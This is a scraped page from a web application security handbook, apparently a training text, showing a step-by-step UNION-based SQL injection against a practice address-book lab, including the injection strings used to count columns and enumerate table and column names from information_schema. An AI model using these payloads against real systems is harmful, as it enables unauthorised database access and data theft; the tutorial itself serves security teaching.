19.09.2017 Views

the-web-application-hackers-handbook

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Chapter 9 n Attacking Data Stores 309<br />

TRY IT!<br />

http://mdsec.net/addressbook/32/<br />

First, we need to determine <strong>the</strong> required number of columns. Testing for a<br />

single column results in an error message:<br />

Name=Mat<strong>the</strong>w’%20union%20select%20null--<br />

All queries combined using a UNION, INTERSECT or EXCEPT operator must<br />

have an equal number of expressions in <strong>the</strong>ir target lists.<br />

We add a second NULL, and <strong>the</strong> same error occurs. So we continue adding NULLs<br />

until our query is executed, generating an additional item in <strong>the</strong> results table:<br />

Name=Mat<strong>the</strong>w’%20union%20select%20null,null,null,null,null--<br />

NAME<br />

Mat<strong>the</strong>w Adamson<br />

[empty]<br />

E-MAIL<br />

handytrick@gmail.com<br />

[empty]<br />

We now verify that <strong>the</strong> first column in <strong>the</strong> query contains string data:<br />

Name=Mat<strong>the</strong>w’%20union%20select%20’a’,null,null,null,null--<br />

NAME<br />

Mat<strong>the</strong>w Adamson<br />

a<br />

E-MAIL<br />

handytrick@gmail.com<br />

The next step is to find out <strong>the</strong> names of <strong>the</strong> database tables and columns that<br />

may contain interesting information. We can do this by querying <strong>the</strong> metadata<br />

table information_schema.columns, which contains details of all tables and<br />

column names within <strong>the</strong> database. These can be retrieved with this query:<br />

Name=Mat<strong>the</strong>w’%20union%20select%20table_name,column_name,null,null,<br />

null%20from%20information_schema.columns--

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!